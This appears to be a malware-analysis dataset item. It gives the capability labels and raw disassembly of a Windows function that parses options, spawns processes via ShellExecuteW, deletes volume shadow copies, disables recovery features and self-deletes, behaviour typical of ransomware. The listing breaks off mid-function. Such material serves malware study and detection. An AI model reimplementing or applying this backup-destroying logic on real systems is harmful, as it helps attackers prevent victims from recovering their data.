Function at 0x560340
Capabilities:
Create process on windows
Delete volume shadow copies
Disable automatic windows recovery features
Self delete

Disassembly:
push rbp
push rbx
sub rsp, 0x298
mov rbp, rsp
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x160], 0
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b8], 0
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 0
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
mov qword [rbp + 0x258], 0
mov qword [rbp + 0x260], 0
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x288], 0
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x278], 0
mov qword [rbp + 0x270], 0
nop
lea rcx, [0x00562be0]
call fcn.0041bdb0
nop
call fcn.0053d310
call fcn.0055fe60
call fcn.0055ff50
test al, al
je 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5606b4
mov rax, qword [0x005908a0]
cmp byte [rax + 0x300], 0
je 0x5606b4
call fcn.00546dd0
test al, al
je 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5606e7
lea rcx, [0x0056220c]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
lea rcx, [0x00562240]
mov dl, 1
call fcn.005471f0
call sub.kernel32.dll_GetCurrentProcessId
mov ecx, eax
mov edx, 0x80
call sub.kernel32.dll_SetPriorityClass
call fcn.0055fde0
mov ecx, 0xa
call fcn.004099b0
mov ecx, eax
imul ecx, ecx, 0x3e8
add ecx, 0x3e8
call sub.kernel32.dll_Sleep
call fcn.004360c0
mov rax, qword [0x00590880]
movsd qword [rax + 0x2f8], xmm0
mov ecx, 1
call sub.kernel32.dll_SetErrorMode
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x56075d
lea rcx, [0x00562260]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
call fcn.0053d330
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x560820
lea rcx, [rbp + 0x280]
mov rax, qword [0x00590880]
movzx rdx, byte [rax + 8]
call fcn.004316a0
lea rcx, [rbp + 0x278]
mov rax, qword [0x00590880]
movzx rdx, byte [rax + 9]
call fcn.004316a0
lea rcx, [rbp + 0x270]
mov rax, qword [0x00590880]
mov edx, dword [rax + 0xc]
call fcn.004316e0
lea rcx, [rbp + 0x288]
mov edx, 6
lea r8, [0x0056228c]
mov r9, qword [rbp + 0x280]
lea rax, [0x005622ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x28], rax
lea rax, [0x005622ac]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x270]
mov qword [rsp + 0x38], rax
call fcn.00412c40
mov rcx, qword [rbp + 0x288]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x560845
lea rcx, [0x005622bc]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
call fcn.005465e0
test al, al
jne 0x56087c
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x561f29
lea rcx, [0x005622e4]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
jmp 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x56089a
lea rcx, [0x0056234c]
mov dl, 1
call fcn.005471f0
call fcn.004098a0
cmp eax, 1
jne 0x5608e9
lea rcx, [rbp + 0x268]
mov edx, 1
call fcn.00409920
mov rcx, qword [rbp + 0x268]
call fcn.0055f280
test al, al
jne 0x5608e9
lea rcx, [rbp + 0x260]
mov edx, 1
call fcn.00409920
mov rcx, qword [0x005906d8]
mov rdx, qword [rbp + 0x260]
call fcn.00412850
mov dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x258]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x258]
lea rdx, [0x00562374]
call fcn.00412d20
test eax, eax
jne 0x560996
add dword [0x0059ddf4], 1
jmp 0x560983
lea rcx, [rbp + 0x250]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x250]
call fcn.0055f280
test al, al
jne 0x560990
lea rcx, [rbp + 0x248]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x318]
mov rcx, rax
mov rdx, qword [rbp + 0x248]
mov rax, qword [rax]
call qword [rax + 0x78]
add dword [0x0059ddf4], 1
call fcn.004098a0
cmp dword [0x0059ddf4], eax
jle 0x56092a
nop
jmp 0x56141c
lea rcx, [rbp + 0x240]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x240]
lea rdx, [0x0056238c]
call fcn.00412d20
test eax, eax
jne 0x560a34
add dword [0x0059ddf4], 1
jmp 0x560a21
lea rcx, [rbp + 0x238]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x238]
call fcn.0055f280
test al, al
jne 0x560a2e
lea rcx, [rbp + 0x230]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x310]
mov rcx, rax
mov rdx, qword [rbp + 0x230]
mov rax, qword [rax]
call qword [rax + 0x78]
add dword [0x0059ddf4], 1
call fcn.004098a0
cmp dword [0x0059ddf4], eax
jle 0x5609c8
nop
jmp 0x56141c
lea rcx, [rbp + 0x228]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x228]
lea rdx, [0x005623ac]
call fcn.00412d20
test eax, eax
jne 0x560acf
add dword [0x0059ddf4], 1
jmp 0x560abc
lea rcx, [rbp + 0x220]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x220]
call fcn.0055f280
test al, al
jne 0x560ac9
lea rcx, [rbp + 0x218]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x40]
mov rcx, rax
mov rdx, qword [rbp + 0x218]
mov rax, qword [rax]
call qword [rax + 0x78]
add dword [0x0059ddf4], 1
call fcn.004098a0
cmp dword [0x0059ddf4], eax
jle 0x560a66
nop
jmp 0x56141c
lea rcx, [rbp + 0x210]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x210]
lea rdx, [0x005623c0]
call fcn.00412d20
test eax, eax
jne 0x560b1b
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x40]
mov rcx, rax
mov rbx, qword [rax]
call qword [rbx + 0x90]
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x208]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x208]
lea rdx, [0x005623ec]
call fcn.00412d20
test eax, eax
jne 0x560b5e
mov rax, qword [0x00590880]
mov byte [rax + 0x126], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x200]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x200]
lea rdx, [0x00562408]
call fcn.00412d20
test eax, eax
jne 0x560ba1
mov rax, qword [0x00590880]
mov byte [rax + 0x131], 0
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x1f8]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x1f8]
lea rdx, [0x0056242c]
call fcn.00412d20
test eax, eax
jne 0x560c71
lea rcx, [rbp + 0x1f0]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1f0]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0x1e8]
call fcn.004498c0
test al, al
je 0x560c65
lea rcx, [rbp + 0x1e0]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1e0]
call fcn.00412850
mov rcx, qword [rbp + 0x1d8]
movabs rdx, 0x1900000000
mov r8d, 1
movabs r9, 0x7fffffffffffffff
call fcn.0055fd00
mov rcx, qword [0x00590880]
mov qword [rcx + 0x138], rax
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0x1d0]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x1d0]
lea rdx, [0x00562450]
call fcn.00412d20
test eax, eax
jne 0x560d35
lea rcx, [rbp + 0x1c8]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0x1c0]
call fcn.004498c0
test al, al
je 0x560d29
lea rcx, [rbp + 0x1b8]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1b8]
call fcn.00412850
mov rcx, qword [rbp + 0x1b0]
mov edx, 0x6300000
xor r8, r8
mov r9d, 0xffffffff
call fcn.0055fd00
mov rcx, qword [0x00590880]
mov qword [rcx + 0x140], rax
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0x1a8]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x1a8]
lea rdx, [0x00562468]
call fcn.00412d20
test eax, eax
jne 0x560dfb
lea rcx, [rbp + 0x1a0]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x198]
mov rdx, qword [rbp + 0x1a0]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0x198]
call fcn.004498c0
test al, al
je 0x560def
lea rcx, [rbp + 0x190]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x188]
mov rdx, qword [rbp + 0x190]
call fcn.00412850
mov rcx, qword [rbp + 0x188]
mov edx, 0x100000
mov r8d, 1
mov r9d, 0xffffff
call fcn.0055fd00
mov rcx, qword [0x00590880]
mov dword [rcx + 0x148], eax
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0x180]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x180]
lea rdx, [0x00562484]
call fcn.00412d20
test eax, eax
jne 0x560ec5
mov rax, qword [0x00590880]
mov byte [rax + 0x12f], 1
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x308]
mov rcx, rax
mov rbx, qword [rax]
call qword [rbx + 0x90]
add dword [0x0059ddf4], 1
jmp 0x560eb2
lea rcx, [rbp + 0x178]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x178]
call fcn.0055f280
test al, al
jne 0x560ebf
lea rcx, [rbp + 0x170]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x308]
mov rcx, rax
mov rdx, qword [rbp + 0x170]
mov rax, qword [rax]
call qword [rax + 0x78]
add dword [0x0059ddf4], 1
call fcn.004098a0
cmp dword [0x0059ddf4], eax
jle 0x560e59
nop
jmp 0x56141c
lea rcx, [rbp + 0x168]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x168]
lea rdx, [0x0056249c]
call fcn.00412d20
test eax, eax
jne 0x560f08
mov rax, qword [0x00590880]
mov byte [rax + 0x130], 0
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x160]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x160]
lea rdx, [0x005624c8]
call fcn.00412d20
test eax, eax
jne 0x560fa6
lea rcx, [rbp + 0x158]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0x150]
mov rdx, qword [rbp + 0x158]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0x150]
call fcn.004498c0
test al, al
je 0x560f9a
lea rcx, [rbp + 0x148]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
mov rcx, qword [rbp + 0x148]
call fcn.00431990
mov rcx, qword [0x00590880]
mov dword [rcx + 0x88], eax
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0x140]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x140]
lea rdx, [0x005624e4]
call fcn.00412d20
test eax, eax
jne 0x560fdb
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0x138]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x138]
lea rdx, [0x00562500]
call fcn.00412d20
test eax, eax
jne 0x561010
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x130]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x130]
lea rdx, [0x0056251c]
call fcn.00412d20
test eax, eax
jne 0x561053
mov rax, qword [0x00590880]
mov byte [rax + 0x12e], 0
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x128]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x128]
lea rdx, [0x00562544]
call fcn.00412d20
test eax, eax
jne 0x561096
mov rax, qword [0x00590880]
mov byte [rax + 0x125], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x120]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x120]
lea rdx, [0x00562560]
call fcn.00412d20
test eax, eax
jne 0x5610d9
mov rax, qword [0x00590880]
mov byte [rax + 0x127], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x118]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x118]
lea rdx, [0x00562574]
call fcn.00412d20
test eax, eax
jne 0x56112a
mov rax, qword [0x00590880]
mov byte [rax + 0x129], 1
mov rax, qword [0x00590880]
mov byte [rax + 0x12a], 0
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x110]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x110]
lea rdx, [0x0056258c]
call fcn.00412d20
test eax, eax
jne 0x56117b
mov rax, qword [0x00590880]
mov byte [rax + 0x129], 0
mov rax, qword [0x00590880]
mov byte [rax + 0x12a], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x108]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x108]
lea rdx, [0x005625a4]
call fcn.00412d20
test eax, eax
jne 0x5611be
mov rax, qword [0x00590880]
mov byte [rax + 0x12b], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0x100]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0x100]
lea rdx, [0x005625c0]
call fcn.00412d20
test eax, eax
jne 0x561201
mov rax, qword [0x00590880]
mov byte [rax + 0x151], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0xf8]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xf8]
lea rdx, [0x005625e4]
call fcn.00412d20
test eax, eax
jne 0x561288
mov rax, qword [0x00590880]
cmp byte [rax + 0x151], 0
je 0x56127c
lea rcx, [rbp + 0xf0]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0xe8]
mov rdx, qword [rbp + 0xf0]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0xe8]
mov rax, qword [0x00590880]
lea rdx, [rax + 0x78]
call fcn.00449ec0
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0xe0]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xe0]
lea rdx, [0x00562604]
call fcn.00412d20
test eax, eax
jne 0x56130f
mov rax, qword [0x00590880]
cmp byte [rax + 0x151], 0
je 0x561303
lea rcx, [rbp + 0xd8]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
lea rcx, [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
xor r8, r8
call fcn.00411fd0
mov rcx, qword [rbp + 0xd0]
mov rax, qword [0x00590880]
lea rdx, [rax + 0x28]
call fcn.00449ec0
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0xc8]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xc8]
lea rdx, [0x00562624]
call fcn.00412d20
test eax, eax
je 0x561361
lea rcx, [rbp + 0xc0]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xc0]
lea rdx, [0x00562638]
call fcn.00412d20
test eax, eax
jne 0x561395
lea rcx, [rbp + 0xb8]
mov edx, dword [0x0059ddf4]
add edx, 1
call fcn.00409920
mov rcx, qword [0x005906d8]
mov rdx, qword [rbp + 0xb8]
call fcn.00412850
add dword [0x0059ddf4], 2
jmp 0x56141c
lea rcx, [rbp + 0xb0]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xb0]
lea rdx, [0x00562650]
call fcn.00412d20
test eax, eax
jne 0x5613d5
mov rax, qword [0x00590880]
mov byte [rax + 0x123], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
lea rcx, [rbp + 0xa8]
mov edx, dword [0x0059ddf4]
call fcn.00409920
mov rcx, qword [rbp + 0xa8]
lea rdx, [0x0056266c]
call fcn.00412d20
test eax, eax
jne 0x561415
mov rax, qword [0x00590880]
mov byte [rax + 0x124], 1
add dword [0x0059ddf4], 1
jmp 0x56141c
add dword [0x0059ddf4], 1
call fcn.004098a0
cmp dword [0x0059ddf4], eax
jle 0x5608f8
mov rax, qword [0x00590880]
lea rcx, [rax + 0x40]
call fcn.00557750
mov rax, qword [0x00590880]
lea rcx, [rax + 0x40]
call fcn.00556ac0
mov rax, qword [0x00590880]
lea rcx, [rax + 0x40]
call fcn.00556f20
mov rax, qword [0x00590880]
mov eax, dword [rax + 0x88]
test eax, eax
je 0x5614dd
mov rcx, qword [0x00590880]
cmp byte [rcx + 0x12c], 0
je 0x5614c5
lea rcx, [rbp + 0x98]
mov edx, eax
call fcn.004316a0
lea rcx, [rbp + 0xa0]
mov edx, 3
lea r8, [0x00562684]
mov r9, qword [rbp + 0x98]
lea rax, [0x005626a0]
mov qword [rsp + 0x20], rax
call fcn.00412c40
mov rcx, qword [rbp + 0xa0]
mov dl, 1
call fcn.005471f0
mov rax, qword [0x00590880]
mov ecx, dword [rax + 0x88]
imul ecx, ecx, 0x3e8
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x561502
lea rcx, [0x005626dc]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x00590880]
mov rax, qword [rax + 0x78]
test rax, rax
je 0x561516
mov rax, qword [rax - 8]
test rax, rax
jne 0x56152b
mov rax, qword [0x00590880]
lea rcx, [rax + 0x78]
call fcn.0053a250
mov rax, qword [0x005906d8]
mov rcx, qword [rax]
xor edx, edx
call fcn.00412620
test eax, eax
jne 0x561579
lea rcx, [rbp + 0x90]
mov rax, qword [0x00590880]
lea rdx, [rax + 0x78]
call fcn.00449e50
mov rax, qword [0x00590880]
lea rcx, [rax + 0x118]
mov rdx, qword [rbp + 0x90]
call fcn.00449cd0
test al, al
jne 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x561597
lea rcx, [0x0056270c]
mov dl, 1
call fcn.005471f0
call fcn.0055d710
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5615ca
xor ecx, ecx
mov dl, 1
call fcn.005471f0
lea rcx, [0x00562744]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x00590880]
cmp byte [rax + 0x12b], 0
jne 0x5615df
call fcn.0054e620
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x561604
lea rcx, [0x005627a0]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x00590880]
cmp byte [rax + 0x12b], 0
jne 0x561619
call fcn.00548ff0
mov rax, qword [0x00590880]
cmp byte [rax + 0x12b], 0
je 0x56162e
call fcn.005576e0
call fcn.0055f860
mov rax, qword [0x005906d8]
mov rcx, qword [rax]
xor edx, edx
call fcn.00412620
test eax, eax
je 0x561a68
mov rax, qword [0x00590880]
mov byte [rax + 0x14e], 0
mov rax, qword [0x005906d8]
mov rcx, qword [rax]
call fcn.00448f90
test al, al
je 0x5616df
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5616cb
xor ecx, ecx
mov dl, 1
call fcn.005471f0
lea rcx, [rbp + 0x88]
lea rdx, [0x005627cc]
mov rax, qword [0x005906d8]
mov r8, qword [rax]
call fcn.00412210
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x88]
call fcn.00412820
mov rcx, qword [rbp + 0x80]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x005906d8]
mov rcx, qword [rax]
call fcn.0055de30
jmp 0x56184e
mov rax, qword [0x00590880]
cmp byte [rax + 0x12b], 0
jne 0x561743
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
jne 0x561743
jmp 0x56170b
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055e5c0]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
je 0x561701
mov ecx, 0x1388
call sub.kernel32.dll_Sleep
jmp 0x561751
mov rax, qword [0x00590880]
mov byte [rax + 0x14e], 1
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5617a3
xor ecx, ecx
mov dl, 1
call fcn.005471f0
lea rcx, [rbp + 0x78]
lea rdx, [0x005627fc]
mov rax, qword [0x005906d8]
mov r8, qword [rax]
call fcn.00412210
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
call fcn.00412820
mov rcx, qword [rbp + 0x70]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
mov rax, qword [0x005906d8]
mov rcx, qword [rax]
call fcn.0055e1d0
jmp 0x5617be
mov ecx, 0x3e8
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x14e], 0
je 0x5617b4
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x5617fc
xor ecx, ecx
mov dl, 1
call fcn.005471f0
lea rcx, [0x00562838]
mov dl, 1
call fcn.005471f0
xor ecx, ecx
call fcn.00547430
call fcn.005473f0
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x56184e
mov rax, qword [0x005908a0]
cmp byte [rax + 0x300], 0
je 0x56184e
lea rcx, [0x00562870]
xor edx, edx
call fcn.005471f0
lea rcx, [0x0056289c]
xor edx, edx
call fcn.005471f0
mov rcx, qword [0x00590a48]
call fcn.0040c370
call fcn.00409570
mov rax, qword [0x00590880]
cmp byte [rax + 0x130], 0
je 0x561998
mov rax, qword [0x00590880]
cmp byte [rax + 0x12c], 0
je 0x561880
lea rcx, [0x005628e0]
xor edx, edx
call fcn.005471f0
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x0056291a]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x0056296c]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x005629d8]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562a2e]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562a66]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562ac4]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
mov ecx, 0x4e20
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x12f], 0
je 0x5619ad
call fcn.0055f000
mov rax, qword [0x00590880]
cmp byte [rax + 0x125], 0
je 0x5619ed
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562b42]
lea r9, [0x00562b54]
lea rax, [0x00562b6e]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
mov rax, qword [0x00590880]
cmp byte [rax + 0x126], 0
je 0x561f29
lea rcx, [rbp + 0x60]
xor edx, edx
call fcn.00409920
lea rcx, [rbp + 0x68]
mov edx, 3
lea r8, [0x00562b8c]
mov r9, qword [rbp + 0x60]
lea rax, [0x00562bd8]
mov qword [rsp + 0x20], rax
call fcn.00412c40
mov rcx, qword [rbp + 0x68]
call fcn.004126f0
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562b70]
mov r9, rax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
jmp 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x12b], 0
je 0x561af3
mov rax, qword [0x00590880]
cmp byte [rax + 0x126], 0
je 0x561f29
lea rcx, [rbp + 0x50]
xor edx, edx
call fcn.00409920
lea rcx, [rbp + 0x58]
mov edx, 3
lea r8, [0x00562b8c]
mov r9, qword [rbp + 0x50]
lea rax, [0x00562bd8]
mov qword [rsp + 0x20], rax
call fcn.00412c40
mov rcx, qword [rbp + 0x58]
call fcn.004126f0
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562b70]
mov r9, rax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
jmp 0x561f29
mov rax, qword [0x00590880]
cmp byte [rax + 0x123], 0
je 0x561b1d
mov rax, qword [0x00590880]
mov byte [rax + 0x14e], 1
jmp 0x561b49
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055b710]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
je 0x561b13
mov ecx, 0x1388
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x123], 0
je 0x561b7d
mov rax, qword [0x00590880]
mov byte [rax + 0x14c], 1
jmp 0x561ba9
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055b2a0]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
